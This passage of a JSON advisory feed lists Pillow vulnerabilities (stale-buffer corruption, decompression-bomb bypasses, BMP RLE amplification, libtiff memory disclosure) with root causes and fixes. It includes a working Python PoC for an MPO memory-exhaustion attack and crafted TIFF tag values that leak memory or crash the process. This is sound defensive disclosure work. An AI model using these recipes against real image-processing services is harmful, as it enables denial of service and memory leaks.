llow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 5.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcmZwLXA0OXAtM2hmMs4AB_GO/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-96640","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-96640","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-96640"},{"uuid":"CVE-2026-96640","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96640.json"}]},{"uuid":"GSA_kwCzR0hTQS12OXB2LTVnYzgtdzJtNs4AB_GN","url":"https://github.com/advisories/GHSA-v9pv-5gc8-w2m6","title":"Pillow multi-frame loaders can reuse stale native image storage after mode transitions","description":"### Summary\nPillow multi-frame image loaders can retain native `ImagingCore` storage allocated for one frame while changing the Python-side image `mode` and decoder tiles for a later frame.\n\nIf frame 0 allocates storage for a narrow mode such as `L`, and a later frame of the same dimensions switches to a wider mode such as `RGB` or `CMYK`, Pillow may decode wider pixels into the stale narrow native buffer. This causes native\nout-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented `ImageSequence.Iterator` + `frame.load()` path.\n\n### Details\nThe root cause appears to be that `ImageFile.load_prepare()` only reallocates native storage when `_im is None`. It does not verify that the retained native `ImagingCore` storage still matches `self.mode` and `self.size`.\n\nSeveral multi-frame `seek()` / `_open()` paths can update `self._mode` and decoder tiles for a later frame without invalidating `_im`. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.\n\nVerified affected surfaces:\n\n1. **PSD**\n\n   `PsdImageFile.seek()` can switch from grayscale/native `L` storage to RGB layer decoding while retaining `_im`. This produces attacker-controlled native out-of-bounds writes and reliable crashes.\n\n2. **MPO/JPEG**\n\n   A crafted two-frame MPO can make frame 0 allocate `L` storage, then make frame 1 decode `CMYK` / `RGB` data into the retained `L` storage. The documented `ImageSequence.Iterator` path reaches this with `frame.load()`.\n   Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0.\n\n3. **DCX**\n\n   `DcxImageFile.seek()` calls `PcxImageFile._open()`, which changes mode/tile  state without a native-storage mode guard. A crafted DCX with `L` then `RGB` PCX frames produces retained-storage mismatch and crash.\n\n4. **MIC**\n\n   MIC can call `TiffImageFile._open()` directly and bypass TIFF's normal guarded `seek()` behavior. With a `NextIFD`-based reachable frame transition, this produces retained-storage mismatch and crash.\n\nTIFF appears to be a useful positive control because its `seek()` path checks\nboth size and mode before reusing storage.\n\n### Impact\n- process crash / denial of service,\n- native out-of-bounds write,\n- native over-read in the MPO path.\n\nStronger proven impact:\n\n- command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path.\n\nServer-side deployment impact:\n\n- Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow.\n- The attack is one HTTP request and requires no user interaction after upload.\n- The fixed harmless command-output marker succeeded 10/10 times.\n- The `_im=None` control was clean 10/10 times.\n\n\n## Reproduction Evidence\n\nTested version:\n\n```text\nPillow 12.3.0\n```\n\nMPO terminal proof environments:\n\n```text\nPython 3.12.3 + Pillow 12.3.0, clean PyPI environment:\nmarker 10/10, control 0/10\n\nPython 3.13.14 + Pillow 12.3.0, prepared profile:\nmarker 10/10, control 0/10\n```\n\nServer-side web-upload proof:\n\n```text\ncontrol 1..10: MARKER_MISSING\ncontrol_summary ok 0 missing 10 /10\n\nvulnerable 1..10: MARKER_OK marker_output \u003cserver-user\u003e\nvulnerable_summary ok 10 missing 0 /10\n```\n\nThe terminal proof uses a fixed harmless marker command only. It does not use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands.\n\nI can provide the following private artifacts to maintainers:\n\n- minimal crash fixtures for PSD, MPO, DCX, and MIC,\n- non-weaponized MPO marker PoC,\n- local vulnerable web upload demo,\n- gdb/GEF geometry receipts,\n- control-run logs,\n- proposed regression-test shape.\n\n## Minimal Reproduction Shape\n\nFor the MPO path, the vulnerable consumer shape is:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageSequence\n\nsource = BytesIO(open(path, \"rb\").read())\nimage = Image.open(source)\niterator = ImageSequence.Iterator(image)\nnext(iterator).load()\nnext(iterator).load()\n```\n\nThe crafted image shape is:\n\n```text\nframe 0: mode L, dimensions W x H\nframe 1: same W x H, wider mode such as CMYK\n```\n\nFrame 0 allocates native `L` storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage.\n\n## Suggested Fix Direction\n\nBefore reusing native `ImagingCore` storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size.\n\nA central guard in `ImageFile.load_prepare()` could compare native storage mode/size against `self.mode` / `self.size` and allocate fresh storage when they differ. Alternatively, every mode-changing `seek()` / `_open()` path should explicitly invalidate `_im` before decoding.\n\nCaution: TIFF has specialized tile-size behavior and already has a mode/size guard, so a central fix should avoid regressing TIFF tile-buffer handling.\n\n\n## Credit\n\n```text\nRotem Kama\n```\n\n## Methodology Note\n\nAI-assisted analysis was used for discovery and verification support. Claims in this report are limited to the local artifacts, controls, and command outputs described above.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-22T16:00:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6","https://nvd.nist.gov/vuln/detail/CVE-2026-96639","https://github.com/python-pillow/Pillow/pull/10105","https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-v9pv-5gc8-w2m6"],"source_kind":"github","identifiers":["GHSA-v9pv-5gc8-w2m6","CVE-2026-96639"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.434Z","updated_at":"2026-12-03T11:01:20.256Z","epss_percentage":0.00697,"epss_percentile":0.543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OXB2LTVnYzgtdzJtNs4AB_GN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OXB2LTVnYzgtdzJtNs4AB_GN","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 11.0.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OXB2LTVnYzgtdzJtNs4AB_GN/related_packages","related_advisories":[{"uuid":"CVE-2026-96639","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96639.json"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-96639","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-96639"}]},{"uuid":"GSA_kwCzR0hTQS0yNHJjLThoajItdjk4Y84AB_GM","url":"https://github.com/advisories/GHSA-24rc-8hj2-v98c","title":"Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode","description":"## Summary\nBmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches.\n\n## Affected versions\nAll versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)\n\n## Root cause\nBmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) \u003c dest_length`. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by dest_length:\n\n- delta escape (line 370): data += b\"\\x00\" * (right + up * self.state.xsize) with right,up in 0..255 -\u003e up to ~255*xsize bytes in ONE iteration.\n- absolute mode (line 385): data += bytes_read (up to 255).\n\nBecause a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.\n\n## Reproduction\nPython 3.13, Pillow HEAD e7a7ea84\n\nAttached: pillow_poc_bmp_rle_dos.py\n\nA 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -\u003e 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file.\n\n## Suggested fix\nCap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) \u003e= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343.\n\nCredit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew)\n\n[pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-22T15:59:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-24rc-8hj2-v98c","https://nvd.nist.gov/vuln/detail/CVE-2026-96638","https://github.com/python-pillow/Pillow/pull/10015","https://github.com/python-pillow/Pillow/commit/e7794835e323ff2691d9b3a974cade1a44301b9a","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-24rc-8hj2-v98c"],"source_kind":"github","identifiers":["GHSA-24rc-8hj2-v98c","CVE-2026-96638"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T16:00:08.228Z","updated_at":"2026-12-03T11:01:20.256Z","epss_percentage":0.00364,"epss_percentile":0.32311,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNHJjLThoajItdjk4Y84AB_GM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNHJjLThoajItdjk4Y84AB_GM","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 9.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNHJjLThoajItdjk4Y84AB_GM/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-96638","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-96638","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-96638"},{"uuid":"CVE-2026-96638","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96638.json"}]},{"uuid":"GSA_kwCzR0hTQS1nODQyLTlyYzQtNjlwd84AB_GL","url":"https://github.com/advisories/GHSA-g842-9rc4-69pw","title":"Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS","description":"## Summary\nSpiderImagePlugin's seek() bypasses the decompression bomb check, allowing a tiny (\u003c1KB) crafted SPIDER stack file to trigger a multi-gigabyte allocation on im.load().\n\n## Affected versions\nAll versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)\n\n## Root cause\nImage.open() runs Image._decompression_bomb_check(im.size) exactly once, in _open_core (src/PIL/Image.py:3668), right after the initial _open(). \n\nSPIDER stack files are multi-frame: SpiderImageFile.seek(frame) (SpiderImagePlugin.py:179-190) computes an attacker-influenced stkoffset and calls self._open() AGAIN directly (line 190) — NOT through Image.open(). _open() re-parses a fresh 27-float header at that offset and reassigns:\n\n    self._size = int(h[12]), int(h[2])      # SpiderImagePlugin.py:131\n\nstraight from unvalidated header floats (isSpiderHeader only checks internal labrec*lenbyt==labbyt consistency, never bounds nsam/nrow). No bomb check runs on this new size.\n\nOn the subsequent load(), ImageFile.load_prepare() (ImageFile.py:436-437) executes `self.im = Image.core.new(self.mode, self.size)` with the unchecked, attacker-chosen size. Mode is always \"F\" (4 bytes/pixel), so e.g. 40000x40000 = 6.4 GB.\n\n## Why this is a real bug\nSibling multi-frame plugins DO re-check on their alternate paths:\n- GifImagePlugin.py:286 - Image._decompression_bomb_check(self._size) (in seek)\n- TiffImagePlugin.py:1309 - Image._decompression_bomb_check(self._tile_size)\n- IcnsImagePlugin.py:121/138, IcoImagePlugin.py:236/240 (sub-image selection)\n\nSpiderImagePlugin has NO bomb check anywhere. This is the same class of bug just fixed for GdImageFile (GHSA-phj9-mv4w-65pm) and the FontFile classes (GHSA-5x94/8v84/45hq): an allocation reached on a non-Image.open() path sized by an attacker header field, independent of the one-time pixel bomb check.\n\n## Reproduction\nPython 3.13, Pillow HEAD e7a7ea84\n\nAttached: pillow_poc_spider_bomb.py\n\nSets Image.MAX_IMAGE_PIXELS=5000, then:\n- CONTROL: Image.open(standalone 100x100 SPIDER) -\u003e DecompressionBombWarning fires correctly.\n- BYPASS: Image.open(stack, frame0=1x1) passes; im.seek(1) sets size (100,100) with NO DecompressionBombWarning/Error -\u003e the check is bypassed.\n\nReal-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB.\n\n## Suggested fix\nCall Image._decompression_bomb_check(self.size) at the end of SpiderImageFile._open() (or in seek() after _open()), mirroring GifImagePlugin / TiffImagePlugin. Optionally validate nsam/nrow are positive and sane in _open().\n\nCredit: Yazan Balawneh - CyStack Security Team \n[pillow_poc_spider_bomb.py](https://github.com/user-attachments/files/30244916/pillow_poc_spider_bomb.py)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T15:57:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw","https://nvd.nist.gov/vuln/detail/CVE-2026-96637","https://github.com/python-pillow/Pillow/pull/10076","https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-g842-9rc4-69pw"],"source_kind":"github","identifiers":["GHSA-g842-9rc4-69pw","CVE-2026-96637"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T16:00:08.228Z","updated_at":"2026-12-03T11:01:20.257Z","epss_percentage":0.00373,"epss_percentile":0.33309,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nODQyLTlyYzQtNjlwd84AB_GL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nODQyLTlyYzQtNjlwd84AB_GL","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nODQyLTlyYzQtNjlwd84AB_GL/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-96637","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-96637","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-96637"},{"uuid":"CVE-2026-96637","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96637.json"}]},{"uuid":"GSA_kwCzR0hTQS1wOGh4LXYycDYtcnA4NM4AB_GK","url":"https://github.com/advisories/GHSA-p8hx-v2p6-rp84","title":"Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)","description":"### Summary\nPillow's decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame's header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).\n\nSame class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).\n\n### Details\n`Image.open()` → `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking:\n\n- **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`.\n- **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check.\n\nConfirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek.\n\n### PoC\nSelf-contained; the victim uses **default** `MAX_IMAGE_PIXELS`:\n\n```python\nimport io\nfrom PIL import Image\n\n# attacker builds the file (guard disabled only to CREATE the oversized frame)\nImage.MAX_IMAGE_PIXELS = None\nsmall = Image.new(\"RGB\", (8, 8))\nbig   = Image.new(\"RGB\", (14000, 14000), (120, 60, 30))   # 196,000,000 px \u003e error threshold\nbuf = io.BytesIO()\nsmall.save(buf, format=\"MPO\", save_all=True, append_images=[big])\ndata = buf.getvalue()                                      # ~3 MB\nImage.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default\n\n# victim (default limits)\nim = Image.open(io.BytesIO(data))   # frame 0 (8x8) passes the bomb check\nim.seek(1)                          # frame 1 (14000x14000) -\u003e NOT re-checked  \u003c-- bug\nim.load()                           # decodes the over-limit image, commits memory\nprint(\"loaded over-limit frame:\", im.size)\n```\n\nMeasured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):\n\n| Vector | File size | Frame 1 | Peak RSS |\n|---|---|---|---|\n| MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB |\n| DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB |\n| Control: same image standalone | — | 196 Mpx | `DecompressionBombError` (correctly blocked) |\n\nThe DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.\n\n### Impact\nDenial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.\n\n### Suggested fix\nRe-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF:\n\n```python\n# PIL/MpoImagePlugin.py — end of MpoImageFile.seek()\nself.tile = [ImageFile._Tile(\"jpeg\", (0, 0) + self.size, self.offset, self.tile[0][-1])]\nImage._decompression_bomb_check(self.size)   # add\nself.__frame = frame\n\n# PIL/DcxImagePlugin.py — end of DcxImageFile.seek()\nPcxImageFile._open(self)\nImage._decompression_bomb_check(self.size)   # add\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-22T15:56:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84","https://nvd.nist.gov/vuln/detail/CVE-2026-96636","https://github.com/python-pillow/Pillow/pull/10011","https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-p8hx-v2p6-rp84"],"source_kind":"github","identifiers":["GHSA-p8hx-v2p6-rp84","CVE-2026-96636"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T16:00:08.228Z","updated_at":"2026-12-03T11:01:20.258Z","epss_percentage":0.00364,"epss_percentile":0.32311,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOGh4LXYycDYtcnA4NM4AB_GK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wOGh4LXYycDYtcnA4NM4AB_GK","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOGh4LXYycDYtcnA4NM4AB_GK/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-96636","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-96636","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-96636"},{"uuid":"CVE-2026-96636","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96636.json"}]},{"uuid":"GSA_kwCzR0hTQS14dmg1LWc2Z3YtNTU5ds4AB-_X","url":"https://github.com/advisories/GHSA-xvh5-g6gv-559v","title":" Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags","description":"```\n============================================================================\nMemory disclosure and segfault in libtiff encoder via crafted TIFF tags\nLocation: src/encode.c:1014  in PyImaging_LibTiffEncoderNew()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, \"TIFF\")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`'s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.\n\nThe bug is in `PyImaging_LibTiffEncoderNew` (`src/encode.c`). It decides what arguments to pass to the variadic `TIFFSetField()` from the shape of the Python value (scalar, tuple or bytes). It assumes its `ImagingLibTiffMergeFieldInfo()` call defined how libtiff will read them. But `TIFFMergeFieldInfo()` never overrides libtiff's built-in field table, so libtiff reads the arguments according to its own definition of the tag:\n\n- For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output.\n- For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address.\n\nWhere that unwritten slot points depends on the compiler. In the tested clang build it points into `_imaging.so`, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with `tiffinfo=im.tag_v2`, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found.\n\nOther branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the `bytes`, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in `a3d45e9cefd0` (\"Added custom int and float TIFF tags\") and first released in 5.4.0.\n\n## Details\n\n`PyImaging_LibTiffEncoderNew` (`src/encode.c:777-1060`) chooses the argument\nlist it hands to the variadic `TIFFSetField()` from the *Python* value of each\ntag — scalar vs. tuple vs. `bytes`, and a type that is either autodetected or\ncopied from the source file's IFD — and assumes that its own\n`ImagingLibTiffMergeFieldInfo()` registration defines how libtiff will read the\n`va_list`. It does not: libtiff keeps its built-in definition for every tag it\nalready knows, and core tags are never registered at all. libtiff therefore\nconsumes the varargs as `(count, pointer)`, `(pointer)` or three pointers\naccording to *its* field table, whatever Pillow actually pushed. The encoder\nnever consults that table (`TIFFFindField` / `TIFFFieldPassCount` /\n`TIFFFieldWriteCount` / `TIFFFieldDataType`) before the call.\n\nThe most severe instance, and the one the attached reproducer exercises: when a\nTIFF is re-saved through the libtiff writer, every tag of the source IFD that\nPillow does not recognise is forwarded to libtiff with `TIFFSetField()`. A\ncount-1 integer entry is passed as a single scalar vararg. If libtiff's own\nfield table defines that tag number as an *array* field, libtiff consumes the\nvarargs as `(count, pointer)` or `(pointer)` instead, so the attacker's integer\nbecomes either the number of bytes to copy from a never-written vararg slot, or\nthe source address itself. The same mismatch is reachable through the typed\ntuple branches (tuple length consumed as a pointer for fixed-count built-in\ntags such as `CFARepeatPatternDim`, even when the source file is well-formed),\nthe `bytes`, `TIFF_RATIONAL`-tuple and core-tag branches of the same loop;\nthose are listed\nunder *Other branches with the same defect* below and need to be covered by the\nsame fix.\n\nA 181-byte TIFF (16×16 RGB, one LZW strip, plus one extra IFD entry\n`50740 / LONG / count 1 / value 4096` — DNGPrivateData) opened with\n`Image.open()` and saved with a bare `im.save(buf, \"TIFF\")` produces a 4296-byte\noutput whose tag 50740 holds 4096 bytes that occur nowhere in the input; scanning\n`/proc/self/mem` finds them in the read-only data segment of `_imaging.so`.\nChanging the extra entry to `50829 / LONG / 1 / 64` (ActiveArea) makes the same\ntwo calls segfault in `memcpy(dst, src=0x40, n=16)` under\n`ImagingLibTiffSetField` ← `PyImaging_LibTiffEncoderNew`. An ASan build of the\nextensions reports `READ of size 4096` in `memcpy` called from\n`src/encode.c:1014` for the first input.\n\n### Code path\n\n`_save` copies all tags of the opened image into the libtiff attribute list.\nFor a tag that is neither in `LIBTIFF_CORE` nor in `TiffTags.TAGS_V2`, no type\nis recorded, so the value goes through untyped:\n\n```python\n# src/PIL/TiffImagePlugin.py:1782\nsupplied_tags = {**legacy_ifd, **getattr(im, \"tag_v2\", {})}\n…\n# :1959-1982\nfor tag, value in itertools.chain(ifd.items(), supplied_tags.items()):\n    if tag not in TiffTags.LIBTIFF_CORE:\n        …\n        elif isinstance(value, (int, float, str, bytes)) or …:\n            type = TiffTags.lookup(tag).type      # None for 50740, 50829, …\n            if type:\n                types[tag] = type\n    if tag not in atts and tag not in blocklist:\n        …\n            atts[tag] = value                     # plain int 4096\n```\n\n`compression` defaults to the source image's `im.info[\"compression\"]`\n(`TiffImagePlugin.py:1731-1746`), so a compressed source selects the libtiff\nwriter without the application asking for it.\n\nIn the encoder the untyped `int` is autodetected as `TIFF_LONG`\n(`src/encode.c:805-815`), the tag is \"registered\" as a scalar custom field, and\nthen set with one 32-bit vararg:\n\n```c\n// src/encode.c:844      (is_var_length = 0 → writecount 1, passcount 0)\nif (ImagingLibTiffMergeFieldInfo(\u0026encoder-\u003estate, type, key_int, is_var_length)) {\n    … continue;\n}\n…\n// src/encode.c:1013-1016\n} else if (type == TIFF_LONG || type == TIFF_IFD) {\n    status = ImagingLibTiffSetField(\n        \u0026encoder-\u003estate, (ttag_t)key_int, (UINT32)PyLong_AsLong(value)\n    );\n```\n\nThe registration does not do what the caller assumes. `TIFFMergeFieldInfo()`\nonly adds definitions for tags libtiff does not already know and returns 0\n(success) either way, so for tags in libtiff's built-in table the built-in\ndefinition stays in force. Queried against the linked libtiff 4.5.0 after\nexactly Pillow's merge call:\n\n```\n50740 DNGPrivateData      type=BYTE   passcount=1 writecount=-1   (unchanged)\n50829 ActiveArea          type=LONG   passcount=0 writecount=4    (unchanged)\n65000 CustomField         type=LONG   passcount=0 writecount=1    (Pillow's definition, tag was unknown)\n```\n\nlibtiff's setter for `FIELD_CUSTOM` tags then interprets the `va_list`\naccording to *its* definition: for `passcount=1` it reads `va_arg(ap, int)` as\nthe element count — the attacker's 4096 — allocates `count * size` bytes and\n`memcpy`s that many bytes from `va_arg(ap, void *)`, a slot\n`PyImaging_LibTiffEncoderNew` never wrote. On x86-64 that slot is register\n`rcx`; in this build it holds a pointer into `_imaging.so`'s `.rodata`, so the\ncopy succeeds deterministically (a value of 2 000 000 also succeeds and yields a\n2 000 200-byte output). 